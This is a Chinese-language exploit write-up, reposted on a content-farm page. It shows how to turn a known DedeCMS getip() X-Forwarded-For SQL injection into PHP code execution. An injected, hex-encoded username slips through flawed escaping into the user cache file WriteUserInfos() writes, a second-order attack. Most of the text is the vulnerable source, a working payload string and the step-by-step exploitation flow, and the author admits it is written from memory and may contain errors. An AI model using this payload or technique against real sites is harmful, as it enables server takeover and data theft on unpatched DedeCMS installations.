Dedecms getip()的漏洞利用 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    style="display:block;padding:0px 10px;" class="ContentFont">author: superhei

    team:http://www.ph4nt0m.org

    blog:http://superhei.blogbus.com

    flyh4t在非安全发布了dedecms getip()的注射漏洞,漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题,我想这个漏洞很多人都找到了,不过这个漏洞的利用有个地方还是可以说说的,可以直接得到shell:

    在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php

    function FushCache($mid=0)

    {

    if(empty($mid)) $mid = $this->M_ID;

    $dsql = new DedeSql();

    $row = $dsql->GetOne("Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' ");

    if(is_array($row))

    {

    $scrow = $dsql->GetOne("Select titles From #@__scores where integral<={$row['scores']} order by integral desc");

    $row['honor'] = $scrow['titles'];

    }

    if(is_array($row)) return WriteUserInfos($mid,$row); //这里

    else return '';

    }

    WriteUserInfos()的代码:

    //写入用户的会话信息

    function WriteUserInfos($uid,$row)

    {

    $tpath = ceil($uid/5000);

    $ndir = dirname(__FILE__)."/cache/user/$tpath/";

    if(!is_dir($ndir)){

    mkdir($ndir,0777);

    chmod($ndir,0777);

    }

    $userfile = $ndir.$uid.'.php';

    $infos = "<"."?php\r\n";

    $infos .= "\$cfg_userinfos['wtime'] = '".mytime()."';\r\n";

    foreach($row as $k=>$v){

    if(ereg('[^0-9]',$k)){

    $v = str_replace("'","\\'",$v); //这个是利用的关键 :)

    $v = ereg_replace("(<\?|\?>)","",$v);

    $infos .= "\$cfg_userinfos['{$k}'] = '{$v}';\r\n";

    }

    }

    $infos .= "\r\n?".">";

    @$fp = fopen($userfile,'w');

    @flock($fp);

    @fwrite($fp,$infos);

    @fclose($fp);

    return $infos;

    }

    我们构造$ipp="121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1";

    mysql> select 0x68656967655C273B706870696E666F28293B2F2F;

    +--------------------------------------------+

    | 0x68656967655C273B706870696E666F28293B2F2F |

    +--------------------------------------------+

    | heige\';phpinfo();// |

    +--------------------------------------------+

    1 row in set (0.00 sec)

    利用流程:

    A:

    else{ //成功登录

    //$ipp="121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1";

    $dsql->ExecuteNoneQuery("update #@__member set logintime='".mytime()."',loginip='".$ipp."' where ID='{$row['ID']}';");

    B:FushCache()

    $row = $dsql->GetOne("Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' ");

    C:WriteUserInfos()

    heige\';phpinfo();// ---str_replace-->heige\\';phpinfo();//---fwrite--->heige\\';phpinfo();//

    ===>$cfg_userinfos['uname'] = 'heige\\';phpinfo();//'; 完美闭和前面的' :)

    其中str_replace的部分相当于代码:

   

    $v="heige\';phpinfo();//";

    $v = str_replace("'","\\'",$v);

    print $v;

    ?>

    整个过程其实就是一个很完整的"二次攻击",而str_replace("'","\\'",$v);起了关键性的作用 :)

    [因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下,

Dedecms getip()的漏洞利用

电脑资料

Dedecms getip()的漏洞利用》(https://www.unjs.com)。]

最新文章